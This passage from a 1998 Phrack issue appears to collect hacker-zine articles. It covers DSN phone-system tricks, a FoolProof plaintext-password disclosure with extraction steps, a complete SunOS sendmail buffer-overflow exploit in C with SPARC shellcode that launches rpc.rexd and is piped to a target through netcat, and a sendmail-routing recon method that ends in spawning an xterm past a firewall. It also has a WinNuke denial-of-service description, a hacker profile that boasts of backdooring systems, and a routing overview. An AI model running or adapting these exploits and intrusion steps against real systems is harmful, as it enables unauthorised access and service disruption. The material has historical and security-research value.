The format for a DSN number is NPA‑XXX‑YYYY, where XXX is the installation prefix (each installation has at least one of their own) and YYYY is the unique number assigned to each internal pair, which eventually leads to a phone. I'm not even going to bother with a list of numbers; there are just too many. Check http://www.tfs.net/~havok (my home page) for the official DSN

directory and more information.

DSN physical equipment is maintained and operated by a team of military specialists designed specifically for this task, (you won't see many Bell trucks around DSN areas).

Through even my deepest research, I was unable to find any technical specifications on the hardware of the actual switch, although I suppose they run a commercial brand such as ESS 5. My resources were obscure in this area, to say the least.

***TRICKS***

Just like any other system in existence, the DSN has security holes and toys we all can have fun with. Here are a few. (If you find any more, drop me an e‑mail.)

* Operators are located on different pairs in each base; one can never tell before dialing exactly who is behind the other line. My best luck has been with XXX‑0110 and XXX‑0000.

* To get their number in the DSN directory, DoD installations write to:

HQ DISA, Code D322

11440 Isaac Newton Square

Reston, VA 20190‑5006

* Another interesting address: It seems that

GTE Government Systems Corporation

Information Systems Division

15000 Conference Center Drive

Chantilly, VA 22021‑3808

has quite a bit of involvement with the DSN and its documentation projects.

***IN CONCLUSION***

As the DSN grows, so does my fascination with the system. Watch for more articles about it. I would like to say a BIG thanks to someone who wishes to remain unknown, a special english teacher, and the DoD for making their information easy to get a hold of.

0x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Howdy,

I have found a weakness in the password implementations of FoolProof. FoolProof is a software package used to secure workstations and LAN client machines from DoS and other lame‑ass attacks by protecting system files (autoexec.bat, config.sys, system registry) and blocking access to specified commands and control panels. FoolProof was written by Smart Stuff software originally for the Macintosh but recently released for win3.x and win95. All my information pertains directly to versions 3.0 and 3.3 of both the 3.x and 95 versions but should be good for all early versions if they exist.

I have spent some time playing with it. It is capable of modifying the boot sequence on win3.x machines to block the use of hot keys and prevent users from breaking out of autoexec. It also modifies the behavior of command.com so that commands can be verified by a database and anything deemed unnecessary or potentially malicious can be blocked (fdisk, format, dosshell?, dir, erase, del. defrag, chkdsk, defrag, undelete, debug, etc.). Its windows clients provide for a way to log into/out of FoolProof for privileged access by using a password or hot key assignment. The newer installation of 95 machines have a centralized configuration database that lives on our NetWare server.

My first success with breaking FoolProof passwords came by using a hex editor to scan the windows swap file for anything that might be of interested. In the swap file I found the password in plain text. I was surprised but thought that it was something that would be simply unavoidable and unpredictable. Later though I used a memory editor on the machine (95 loves it when I do that) and found that FoolProof stores a copy of the user password IN PLAIN TEXT inside its TSR's memory space.

To find a FoolProof password, simply search through conventional memory for the string "FOOLPROO" (I don't know what they did with that last "F") and the next 128 bytes or so should contain two plaintext passwords followed by the hot‑key assignment. For some reason FoolProof keeps two passwords on the machine, the present one and a 'legacy' password (the one you used before you _thought_ it was changed). There exist a few memory viewers/editors but it isn't much effort to write something.

Getting to a point where you can execute something can be difficult but isn't impossible. I found that it is more difficult to do this on the win3.x machines because FoolProof isn't compromised by the operating system it sits on top of; basically getting a dos prompt is up to you (try file manager if you can). 95 is easier because it is very simple to convince 95 that it should start up into Safe‑Mode and then creating a shortcut in the StartUp group to your editor and then rebooting the machine (FoolProof doesn't get a chance to load in safe mode).

I tried to talk to someone at SmartStuff but they don't seem to care what trouble their simple minded users might get into. They told me I must be wrong because they use 128 bit encryption on the disk. Apparently they don't even know how their own software works because the utility they provide to recover lost passwords requires some 32+ character master password that is hardwired into each installation.

JohnWayne <john__wayne@juno.com>

0x6>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ old skool dept. ]

<++> EX/smrex.c

/*

* Overflow for Sunos 4.1 sendmail ‑ execs /usr/etc/rpc.rexd.

* If you don't know what to do from there, kill yourself.

* Remote stack pointer is guessed, the offset from it to the code is 188. *

* Use: smrex buffersize padding |nc hostname 25

*

* where `padding` is a small integer, 1 works on my sparc 1+

*

* I use smrex 84 1, play with the numbers and see what happens. The core * gets dumped in /var/spool/mqueue if you fuck up, fire up adb, hit $r and * see where your offsets went wrong :)

*

* I don't *think* this is the 8lgm syslog() overflow ‑ see how many versions * of sendmail this has carried over into and let me know. Or don't, I * wouldn't :)

*

* P.S. I'm *sure* there are cleverer ways of doing this overflow. So sue * me, I'm new to this overflow business..in my day everyone ran YPSERV and * things were far simpler... :)

*

* The Army of the Twelve Monkeys in '98 ‑ still free, still kicking arse. */

#include <stdio.h>

int main(int argc, char **argv)

{

long unsigned int large_string[10000];

int i, prelude;

unsigned long offset;

char padding[50];

offset = 188; /* Magic numbers */

prelude = atoi(argv[1]);

if (argc < 2)

{

printf("Usage: %s bufsize <alignment offset> | nc target 25\n", argv[0]);

exit(1);

}

for (i = 6; i < (6 + atoi(argv[2])); i++)

{

strcat(padding, "A");

}

for(i = 0; i < prelude; i++)

{

large_string[i] = 0xfffffff0; /* Illegal instruction */

}

large_string[prelude] = 0xf7ffef50; /* Arbitrary overwrite of %fp */

large_string[prelude + 1] = 0xf7fff00c; /* Works for me; address of code */

for( i = (prelude + 2); i < (prelude + 64); i++)

{

large_string[i] = 0xa61cc013; /* Lots of sparc NOP's */

}

/* Now the sparc execve /usr/etc/rpc.rexd code.. */

large_string[prelude + 64] = 0x250bcbc8; large_string[prelude + 65] = 0xa414af75; large_string[prelude + 66] = 0x271cdc88; large_string[prelude + 67] = 0xa614ef65; large_string[prelude + 68] = 0x291d18c8; large_string[prelude + 69] = 0xa8152f72; large_string[prelude + 70] = 0x2b1c18c8; large_string[prelude + 71] = 0xaa156e72; large_string[prelude + 72] = 0x2d195e19; large_string[prelude + 73] = 0x900b800e; large_string[prelude + 74] = 0x9203a014; large_string[prelude + 75] = 0x941ac00b; large_string[prelude + 76] = 0x9c03a104; large_string[prelude + 77] = 0xe43bbefc; large_string[prelude + 78] = 0xe83bbf04; large_string[prelude + 79] = 0xec23bf0c; large_string[prelude + 80] = 0xdc23bf10; large_string[prelude + 81] = 0xc023bf14; large_string[prelude + 82] = 0x8210203b; large_string[prelude + 83] = 0xaa103fff; large_string[prelude + 84] = 0x91d56001; large_string[prelude + 85] = 0xa61cc013; large_string[prelude + 86] = 0xa61cc013; large_string[prelude + 87] = 0xa61cc013; large_string[prelude + 88] = 0;

/* And finally, the overflow..simple, huh? :) */

printf("helo\n");

printf("mail from: %s%s\n", padding, large_string);

}

<‑‑>

0x7>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Practical Sendmail Routing

Intro:

This article will be short and sweet as the concept and methodology are quite simple.

UUCP Style routing has been around longer than most newbie hackers, yet it is a foreign concept to them. In past years, Phrack has seen at least one article on using this method to route a piece of mail around the world and back to the base host. That article in Phrack 41 (Network Miscellany) by the Racketeer gave us a good outline as how to implement routed mail. I will recap that method and show a practical use for it. If you have any questions on the method for building the mail headers, read a book on UUCP or something.

How to:

In short, you want to create a custom route for a piece of email to follow. This single piece of mail will follow your desired path and go through machines of your choice. Even with mail relaying turned off, MTAs will still past this mail as it looks at the mail and delivers only one hope at a time. The customized headers basically tell sendmail that it should only be concerned about the next target in the path, and to deliver. In our example below, we will have nine systems to be concerned about. Your base host, seven systems to bounce through, and the user on the final destination machine.

host1 = origin of mail. base host to send from.

host2 = second...

host3 = third... (etc)

host4

host5

host6

host7

host8 = final hop in our chain (i.e.: second to last) user @ dest = final resting place for mail

Most people will wonder "why route mail, sendmail will deliver directly". Consider the first step in doing a penetration of a foreign network: Recon. A would‑be attacker needs as much information about a remote host as possible. Have you ever sent mail to a remote system with the intention of bouncing it? If not, try it. You will find it a quick and easy way of finding out what version of what MTA the host is running.

Knowing that the message will bounce with that information, think larger. Send mail to multiple hosts on a subnet and it will return the version information for each machine it bounces through. Think larger. Firewalls are often set up to allow mail to go in and out without a problem. So route your mail past the firewall, bounce it among several internal systems, then route the mail right back out the front door. You are left with a single piece of mail containing information on each system it bounced through. Right off, you can start to assess if the machines are running Unix or not among other things.

So, with the example above, your mail 'to' will look like this:

host3!host4!host5!host6!host7!host8!dest!user@host2

I know. Very weird as far as the order and placement of each. If you don't think it looks right, go reference it.

Goal:

The desired outcome of this mail is to return with as much information about the remote network as possible. There are a few things to be wary of however. If the mail hits a system that doesn't know how to handle it, you may never see it again. Routing the mail through a hundred hosts behind a firewall is risky in that it may take a while to go through, and if it encounters problems you may not get word back to know where it messed up. What I recommend is sending one piece of mail per host on the subnet. This can be scripted out fairly easy, so let this be a lesson in scripting as well.

Theoretical Route 1:

you ‑‑.

firewall ‑‑.

internal host1 ‑‑.

internal host2 ‑‑' firewall ‑‑'

you ‑‑'

Theoretical Route 2:

If the internal network is on a different IP scheme than the external machines, (ie: address translation) then your mail will fail at the first hop by the above means. So, we can try an alternative of passing mail to both sides of the firewall in order. Of course, this would rely on knowledge of internal network numbering. If you are wondering how to get this, two ways come to mind. If you are one of those wacky 'white hat' ethical hackers, this information is often given during a controlled penetration. If you are a malicious 'black hat' evil hacker, then trashing or Social Engineering might be an option.

you ‑‑.

firewall (external interface) ‑‑.

firewall (internal interface) ‑‑.

internal host1 ‑‑'

internal host2 ‑‑.

firewall (internal interface) ‑‑'

firewall (external interface) ‑‑'

you ‑‑'

Taking it to the next level:

So if you find this works, what else can you do? Have a remote sendmail attack lying around? Can you run a command on a remote machine? Know what an xterm is? Firewalls often allow a wide variety of traffic to go outbound. So route a remote sendmail based attack to the internal host of your choice, spawn an xterm to your terminal and voila. You just bypassed a firewall!

Conclusion:

Yup. That is it. Short and sweet. No need to put excess words in this article as you are probably late on your hourly check of rootshell.com looking for the latest scripts. Expand your minds.

Hi:

mea_culpa mea_culpa@sekurity.org

* "taking it to the next level" is a bastardized trademark of MC. * 'wacky white hat ethical hacker' is probably a trademark of IBM. * 'malicious black hat evil hacker' is a trademark of the ICSA.

0x8>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Resource Hacking and Windows NT/95

by Lord Byron

With the release of Windows NT service pack 3 the infamous Winnuke denial of service attacks are rendered useless. At least that is what they lead you to believe. This is not the case. To understand why we need to delve into a little background on the internals of Windows; more specifcally, the way that Windows allocates memory. This is the undying problem. To better understand the problems with Windows memory allocation you have to go very deep within the operating system, to what is commonly called the "thunking layer". This layer is what allows Windows to call both 16 and 32‑bit functions on the same function stack. If you make a TCP/IP‑type function call or (if you are a database person) an ODBC function call you are calling a pseudo 32‑bit function. Yes, both of these direct drivers are 32‑bit drivers but they rely upon 16‑bit code to finish their process. Once you enter one of these drivers all the data is passed into that driver. Windows also requires all drivers to run at the level 0 level within the Windows kernel. These drivers then pass off the data to different 16‑bit functions. The difficulty with passing off 32‑bit data to a 16‑bit function is where the thunking layer comes into the picture. The thunking layer is a wrapper around all 16‑bit functions in Windows that can be called by a 32‑bit function. It thunks the data calls down to 16‑bit by converting them into multiple data elements normally done by a structure or by passing the actual memory dump of the variable and passing the data dump into the function. Then the function does its processing to the data within the data‑gram and passes it back out of the function. At this point it goes back through the thunking layer and reconverts the data back to a 32‑bit variable and then the 32‑bit driver keeps on with its processing. This processing of the thunking layer is not an unheard of scheme nor has it not been used before but with the way that we all know that Microsoft codes it was done in a hurry, not properly implemented, and never tested till production. Do to the aforementioned reasons it should not surprise to anyone that the code has severe memory leaks. This is why if you, for example, make an ODBC call to an Oracle database long enough that eventually your Windows box becomes slower until an eventual crash "Blue Screen of Death" or just becomes unbearable to work with. As Microsoft tries to patch these bugs in the device drivers it releases service packs such as SP3. The way that Microsoft has developed and implements the device driver process is on a modular code basis. So when a patch is implemented it actually calls the modulated code to handle the exact situation for that exploit.

Now that you know some of the basic internals as to how Windows makes its calls it is time to understand resource hacking and the reason Win‑nuke still works. If you ping a Windows box it allocates a certain amount of ram and runs code within the driver that returns the ICMP packet. Well if you ping a windows box 20,000 or 30,000 times it has to allocate 20 or 30 thousand chunks of memory to run the device driver to return the ICMP packet. Once 20 or 30 thousand little chunks of memory out there you do not have enough memory to run allow the TCP/IP driver to spawn the code to handle normal function within the Windows box. At this point if you were to run Win‑nuke to send the OOB packet to port 139 on a Windows box in would crash the box. The OOB code that was used to patch Win‑nuke in SP3 could not be spawned due to the lack of memory available and thus uses the original code for the TCP/IP.sys so it gets processed by the standard TCP/IP driver that was original shipped with Windows without the fix. The only way for Microsoft to actually fix this problem would be to rewrite the TCP/IP driver with the correct code within it as the core driver (instead of writing patches to be spawned when the exception occurs). In doing this though would require Microsoft a significant amount of coding skill and talent which we know that no self respecting coder would ever work for the big evil.

0x9>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ PDM

Phrack Doughnut Movie (PDM) last issue was `Grosse Point Blank`.

PDM52 recipients:

Jim Broome

Jonathan Ham

Jon "Boyracer" George

James Hanson

Jesse Paulsen

jcoest

All the recipients have J* first names. Eerie. And what is actually involved in `boyracing`? Do they put little saddles on them?

PDM53 Challenge:

"...Remember, ya always gotta put one in the brain. The first one puts him down, the second one finishes him off. Then he's dead. Then we go home."

Phrack Prophile on Glyph

‑‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 04 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 3 P R O P H I L E

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Personal

Handle: Glyph

Call him: Yesmar

Reach him: glyph@dreamspace.net Past handles: The Raver (cDc), Necrovore (Bellcore), Violence (The VOID Hackers) Handle origin: Egyptian mythology: glyph \'glif\ n [Gk glyphe^carved work, fr. glyphein to carve ‑‑ more at CLEAVE] (ca. 1727) a symbol that conveys information nonverbally (e.g., heiroglyphics). Date of birth: Late 60's

Age at current date: As old as the lunar landing Height: 5'10" or so

Weight: Skinny (I hate fat people) Eye color: Blue

Hair color: Brown

Computers: Started with a TeleVideo 920 dumb terminal and worked my way up to a small collection of SGI and NeXT boxes. Sysop/Co‑Sysop of: Nothing that you've ever heard of (limited lifespan hacker boards on Prime superminis and VAX mainframes located on the X.25 global data networks). Admin of: Go look in the InterNIC databases yourself. URLs: I am not going to support the World Wide Waste of time in my Pro‑Phile.

I first started playing with computers when I was nine years old. I started by learning FORTRAN on a Prime supermini at the local university where my parents worked. Later I learned BASICA on the original IBM PC (what hulks those were). Then a shipment of Apple ][+'s arrived and I learned about the joys of warez. Ultima ][, Wizardry, and all the rest kept me busy for a couple of years. I never had my own computer, so I had to hike down to the university computer center to frotz around.

Around 1984 I was loaned a TeleVideo 920 dumb terminal and a 300 baud USR modem. I used it to connect to the university's PRIME cluster. A hacker was born. I had a legitimate account, but managed to obtain additional user IDs by exploring the filesystem. I had also begun tinkering around with the telephone network by this time.

Later I got an Apple //c and eventually a //gs. These computers got me

back into the warez scene. One month I got a $500 phone bill. The next month the phone bill was back to $0. The only difference was that the warez intake had nearly doubled. Indeed, I had learned about codes. I spent a lot of time calling warez boards around the country. Ultimately I tired of the pirate scene, mainly because of all the inane bickering. I also stopped phreaking because I had gotten scared. I disappeared for a year or so.

Eventually I made a comeback. I wanted to continue to play with computers and networks, but I wanted to avoid the phreaking scene. I decided that I needed a name. I decided to call myself 'The Raver' after Turiya Raver from _The Chronicles of Thomas Covenant the Unbeliever_. (Note: the rave scene was unknown in the U.S. at the time). I spent a lot of time calling hack/phreak boards and learning.

I discovered that I really liked this new communications medium known as tfiles: files containing pure ASCII text. Tfiles could be about hacking, phreaking, anarchy, or best of all, DEAD COWS WHO RULE THE WORLD. Yes, I had discovered a rare beauty on the BBS landscape of the 80's: cDc ‑the Cult of the Dead Cow. I was entranced. These people of the cow were like digital punks, espousing their wild views without a single care. I was instantly hooked. I started writing tfiles. Before long, I found myself invited to join the forces of the Cow. How could I decline Bob and Elsie? So it came to pass that I contributed to what I consider a class movement in the telecom scene of the late 80's. cDc fulfilled my need to communicate and hang with open‑minded people in a BBS context.

In time, my desire to hack started to come back. At first it was merely an 'itch' to poke at a system. Later it developed into a full‑blown need to get into everything I could. It was around this time that I started exploring TELENET and the global X.25 data networks. I met ParMaster, the original members of Bellcore, and LOD/H on altger in Munich. I was hooked. Par and I, considering ourselves lame at the time, formed a group named XTension. The group flourished on the European networks.

Eventually half of XTension were invited to join Bellcore. This was the first time any of us had experienced a rift in friendship over the digital medium. It was a painful learning experience. I would not talk to Par again for many years. In the meantime, I began working at learning even more under the wings of Bellcore. I hacked Primes for Bellcore. Under the tutelage of Chippy I discovered the ways of UNIX and TCP/IP networking.

I changed my name to Necrovore in order to make clear the changes that had occured. The name comes from the fact that I was very much into death metal at the time. Naming myself after the 'Eater of the Dead' seemed like a very reasonable thing to me at the time. (God, what was I thinking!?) At any rate, the Mentor of LOD and I used to pick fights with each other online across the world, so it isn't surprising that 'Necrovore' found its way into a Steve Jackson Game's GURPS Supers module as one of the super villains. Heh.

Eventually Bellcore fell apart, as did so many groups. It became 'cool' and then too many people were invited to join, and then the trust fell apart. If there is a lack of trust, how can work be accomplished? Bellcore was done. It depressed me a lot because LOD continued strong. Was what I had fought for worthless? I thought not. At that time I decided that the days of Big Groups were over. Now it was time for the Small Cell.

The VOID Hackers were created by myself and The Usurper, now Thrashing Rage, a fellow ex‑Bellcore member. We recruited Dr. Psychotic, a class assembly language hacker, and The Scythian, another hacker with a famous past, and started in after Primes and VAXen around the world. I wrote a lengthy series of articles on hacking Primes and submitted it to 2600. I got yelled at later by TK and KL for not submitting it to Phrack. To know the truth, I didn't think it was good enough for Phrack, which had been the soul of the scene since its inception. I never heard back from 2600. (Go figure.)

The VOID Hackers surpassed my wildest expectations. We hit systems across the planet. We had hundreds and hundreds of systems at our beck and call. It could only get better, or so I thought. Imagine my surprise then, one day, when my mom picked me up from school and told me that there were 'security people' at the house right then. 'FUCK,' I thought. Fuck, indeed. I was popped at age 20.

I managed to avoid a multiple felony rap and retired right away. I used contacts to make it clear to government intelligence people and others that I was finished. I went to university and majored in English, then Anthropology, and ultimately settled on Computer Science. Instead of criminal hacking, I delved into hacking from the MIT perspective. I explored the UNIX system and sharpened my programming skills.

Eventually I left the protected world of academia and made my way into the computer industry. With the heavy advent of the Internet I reappeared on the scene as glyph. It was interesting running into old friends (and enemies) and meeting new hackers on the scene. I went to several cons and continued to frolic in the security domain. By this time, however, I had pretty much ceased to engage in criminal hacking, spending my time instead developing security tools. Now I am completely retired. You may still see me as glyph from time to time, however. Undoubtedly, there are more of 'me' out there. grep. It's been a long, strange ride. I'd do it all over again if I wasn't so old. 8)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Favorite things

Women: Australian chicks rule.

Cars: I don't drive. I might if I could recompile traffic algorithms, however this doesn't seem all that likely. I definitely would not drive a BMW. There are too many of those around as it is. I used to drive a skateboard. That was a long time ago, though. Brains and computers are still good to drive, however. Vrooom.

Foods: Shrimp Vindaloo, please. Hot and spicy ethnic. Non‑processed.

Alcohol: Fine Italian Chianti. Vodka. Exotic imported beer. More Vodka.

Music: Scorn, ClockDVA, My Life With the Thrill Kill Kult, Coil, Slint, Killing Joke, Chrome, Kraftwerk, Jane's Addiction, Zillatron, John Zorn, Praxis, Lard, Meat Beat Manifesto, Eat Static, Suede, Bill Laswell, Sepultura, Grotus, Mr. Bungle, Ozric Tentacles, Pink Floyd, Frontline Assembly, Dayglo Abortions, Dead Kennedys, Metallica, Slayer, Kreator, and lots and lots of other stuff.

Movies: The Stepford Wives, Invasion of the Body Snatchers, Brazil, Marathon Man, Blade Runner, anything by Akira Kurosawa, Memoirs of An Invisible Man, The Usual Suspects, Aeon Flux, Heavy Metal, Light Years.

Authors: Jorge Luis Borges, J. R. R. Tolkein, Kurt Vonnegut, Jr., Sun Tzu, Stephen R. Donaldson, H. P. Lovecraft, Gabriel Garcia Marquez, Clark Ashton Smith, Umberto Eco, George Orwell, Thomas Ligotti, Douglas Adams, Robert Anton Wilson.

Turn Ons: Intelligence, algorithms, open mindedness, guitars, see "Women".

Turn Offs: Arrogance, stupidity, shallowness, closed mindedness, media whoring.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Passions

Music. Listening to it as well as making it.

Reading and writing.

Programming algorithms and data structures.

I have this rock that I found in the creek next to the elementary school I used to attend when I was in 3rd grade. The rock weighs over 7 pounds and is shaped like a pebble. I hefted it from the waters and proclaimed it as 'Herman', my pet rock. I've had it ever since I was 9 years old. That was the same year I first experienced computers. Holding on to this rock all these years has definitely been a passion of mine.

Slowly becoming a social recluse. I actually think this is healthy for me.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Memorable experiences

Watching Wargames for the first time. Yes, I admit it. It affected my life.

Being lame and creating the group XTension with ParMaster. It was the first group for both of us. We thought it was pretty cool at the time.

Backdooring PRIMOS Rev. 22.0... yes, the actual source code repository. 8)

Trashing. Hiding in the dumpster while the janitor dumped trash on my head.

Hacking Europe, South America, and parts of Asia. Globe travelling...

Altger (NUA 026245890040004). Sigh. I liked it a lot better than irc.

SummerCon '95. Other than knowing The Usurper and Hyperminde, and having Byteman visit from New Jersy for two weeks, I hadn't ever really met other real, live hackers before. Very cool.

chuck and edward.

The l's. Bastards. 8)

Cytroxia on acid. Way to go, Danny.

The great 7‑day Alliance Teleconference. I remember waking up to blasts of DTMF tones and raucous laughter.

TELENET. PAD to PAD. NUIs. TELENET THINGIES!!!1!! DNIC scanning.

That VAX cluster. Hey Par, remember *that* VAX cluster?

PROTEON.

XTension being rent asunder as half the members were invited into Bellcore and the other half being politely told to fuck off.

Novation AppleCat modems.

Watching a CERT advisory happen‑‑from the inside. It was advisory CA‑89.03. Hiya, Chippy! Where are you?

Social engineering for the first time. It worked, go figure.

The Richard Sandza teletrial.

Getting busted. I missed SummerCon '89 as a result. From Phrack #28 PWN: Violence and The Scythian: "We got busted by SoutherNet, but we'll be there!"

Backdooring a major network entity for the first time‑‑the exhilheration.

PC PURSUIT. Oopsy.

Discovering I was published in 2600‑‑almost 7 years after the fact! Hey, I got my free issues and t‑shirts!

Fuck QSD channel.

Outdials.

The TCP/IP Drinking Game. Version 1.0. SummerCon '96 in D.C. Talk about a quick buzz. NeTTwerk gave the speech. BioH, .mudge, ReDragon, myself, and a few others drank, and drank, and drank. A good time, to be sure. If anyone reading this has video footage of the event, please mail me.

Backdooring a major VAX application using a hex editor.

Jamming on Control‑C and falling through the login command processor into old Primes. ROTFL.

Hacking from Dataphones in Boston.

My first buffer overflow. I remember talking on the phone with .mudge as I worked out the details.

Falling in love.

Falling out of love.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ People to mention

In no particular order:

Dr. Who, BioHazard, Alhambra, .mudge, Dr. Cypher, Asriel, Bill From RNOC, _*Hobbit (still reading flammage after all these years), Swamp Rat, N8, The Dictator (AKA Dale Drew), Frankengibe, The Mentor, FryGuy, Garbage Heap, The Scythian, Mr. Xerox, MasterMicro, 0x486578, Tim N. (love your code), Bika (dig that hair), Grave45, Shewp, SkyHook, Blade Runner, Mycroft, Shatter, Sir Hackalot, Nirva, Crimson Death, Par, Taran King, Thingo It, Knight Lightning, Enkhyl, CheapShades, The Force, Byteman, The Leftist, Chippy (la la la), Mad Hacker (the *real* one), The Usurper/Thrashing Rage, Kewp (NOT!), Touch Tone (My voice isn't *that* hiiiigghhhh!!! CONNECT 1200), The Urvile/Necron 99, Hyperminde/Dr. Psychotic (Remember, until there is a cure for Assembly Language Brain Fry, there will always be the N.C. Home for Deranged Programmers), ReDragon, B, Route, GyroTech, Epsilon, Control‑C (thanks for all the prank calls!). Lastly, I *must* mention that cool ass M.I. guy who tried to bust me‑‑you were rad! (It was a truly good game. You told me to go to college, and I did. You also taught me not to under‑estimate the enemy, because I did.)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Boards to mention

Elite Boards: Phoenix Project, Digital Logic, Pirate‑80, Speed Demon Elite, the various Metalland systems, The Metal AE, Demon Roach Underground, upt.org, The Polka AE, The Lost City of Atlantis, Lunatic Labs, The Dead Zone, Ripco, Broadway Show/Radio Station, The Central Office, The Missing Link, Lutzifer, The Works, upt.org, and the L0phT BBS. There are undoubtedly more, but these are the ones I remember to this day.

Local Boards: Never a fan of 'local' boards, there are only two that I can recall as being k‑interesting to any degree: The Padded Cell and Pandemonium, both of which were in the 919 NPA.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Quotes

Gimme sum PR1MEZ!1!!

May the Forces of Darkness become confused on the way to your house.

<SN> WERE THE SEKRATARIES THAT R00L CYBERSPACE

<SN> WE SKRIBBLE GFILES IN SHORTHAND

<SN> HEY THE RAVER EYE HEAR U PACK A MEAN LUNCHBoX

<SN> HEY ITS THE RAVER 0F CDC @#$@#

<SN> HEY RAVER OF CDC @$@#$

<SN> RAVER COME OVER HERE AND POSE WITH ME AND GHEAP F0R A PH0T0 <SN> I CANT BELIEVE EYEM ON IRC WITH THERAVER OF CDC

<SN> @$)%(&@*($&#*

<SN> HEY LADYADA, IM ON IRC WITH THE RAVER OF CDC

<SN> CAN YOU BELIEVE IT?!

<SN> IM ST00PID NIGGAH oF M0D

I don't think that was really SN, but it was funny as hell anyway.

* glyph is away ‑ vomiting binary ‑ all Lame messages will be ignored. <n8> I actually vomit hex, but that always seems to break down into binary if it sits on the floor for a while

When I was a kid, nobody ever picked me to play dodge ball, kick ball, or whatever. If I was picked, I was always last or second to last. You can imagine what a pleasure the following was to read:

<Asriel> WE PICK GLYPH

<DaveNull> WE ALREADY HAVE GLYPH ASRIEL

<Asriel> oh

<Asriel> fuck

<Asriel> well

<Asriel> at least we have knuth

Other quotes have been lost to the vestiges of time.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The future of the computer underground

I see a future without me.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The forgotten pro‑phile question

...And now for the [once] regularly taken poll from all interviewees.

Of the general population of phreaks and hackers you have met, would you consider most, if any, to be computer geeks?

No. Most phreaks and hackers that I have met are not geeks. They are more likely to be utter freaks, however, but not nerds or geeks. Geeks lack social skills. Phreaks and hackers have a definite social world that extends beyond phone switches and computer networks.

Thanks for your time, Yesmar. "No problem."

An Overview of Internet Routing

‑‑‑[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 05 of 15

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Introduction and Overview of Internet Routing

‑‑‑‑‑‑‑‑[ krnl <krnl@heuristic.org>

‑‑‑‑[ Routing Overview:

The process of routing can be quickly summarized as a node finding the path to every possible destination. Routing is present in everything from layer 1 (the physical layer) on up. The routing that most people are familiar with, however, occurs at layer 3 (the network layer) and as such, we will only reference layer 3 (and more specifically) Internet Protocol (IP) routing in this document.

Protocols for exchange of routing information connect multiple routers around the world to provide them with a common view of the network through their heterogeneous, though generally consistent routing tables. Routing tables store all information necessary for the router to reach every destination on the network irrespective of size (i.e. the network could be j.random LAN with one ip router and two hosts off of an ethernet port or it could be the Internet proper).

‑‑‑‑[ Routing Protocols:

There are a wide variety of routing protocols used to contribute to the routing tables across a network. Protocols such as BGP, OSPF, RIP and ISIS help to convey a correct and coherent picture of the network to all network switches (routers).

‑‑‑‑[ Routing Goals:

You can imagine that if each router has to store information that would allow it to reach every destination on the network, there is the possibility for it to amass a large routing table. Large routing tables are difficult (and sometimes impossible) for routers to process because of physical constraints (cpu, memory or a combination). Therefore, we would like to minimize the routing table space without sacrificing the ability to reach every destination on the network. For example, if the router is connected to the Internet via one DS1 link to another router, the router could store routing table information for each destination on the Internet or it could just default non‑local information out that serial link. What defaulting means is that if the router does not have a specific entry in its table for the destination that the packet is trying to find, it sends it out the default link. The router towards which a router sends defaulted packets is sometimes called the 'gateway of last resort'. This simple trick allows many routing tables to save a number of entries on the 30th order of magnitude. Routing information should not be exchanged between routers in a spurious fashion. Frequent churn in the routing table puts unnecessary stresses on the scare memory and cpu of any given router. Information propagation should not interfere with the forwarding operations of the router. Though this means that you should not send routing updates every nanosecond, it does not mean that routing information should only be exchanged and updated weekly. One of the important goals of routing is that it provide the host with a table which accurately reflects the current status of the network.

The most important aspect of a router's operation is sending packets from input to correct output. Misrouting packets could cause a loss of data. Routing table inconsistencies could also cause routing loops whereby a packet is passed between two adjacent interfaces ad infinitum.

It is desirous for routers to have quick convergence. Convergence can be informally defined as a metric which gauges the speed at which routers arrive at a consistent view of the network. It would be ideal to have infinitesimal convergence times because that would ensure that each router on the network can accurately reflect the current topology even after a drastic change (link failure). When the network is changing, each router must propagate data which will aid other routers in converging to the correct picture of the network status. Problems with quick convergence are found in the routing updates. If a link is flapping (changing line status from up to down) rapidly, it can generate numerous installation and withdrawal requests. Therefore, that one link can end up consuming the resources of every router on the network because the other routers are forced to install and withdraw the route in rapid succession. While convergence is an important goal of routing protocols, it is not a panacea to network woes.

‑‑‑‑[ Distance Vector Routing

Distance vector routing protocols distribute a list of <destination, cost> tuples to all of the router's neighbors. These tuples assign a cost to reach every other node of the network. It is important to note that this routing information is only distributed to routers which are assigned as neighbors to the originating router. These neighbors are often physical, but can be logical in the case of eBGP multihop. That cost is the sum of the link costs for the router to reach a destination. Routers periodically send their neighbors distance vector updates; the neighbor then compares the received distance vector to its current distance vector. If the received values are lower, the router sends output to the destination in the distance vector over the link that it received the vector over.

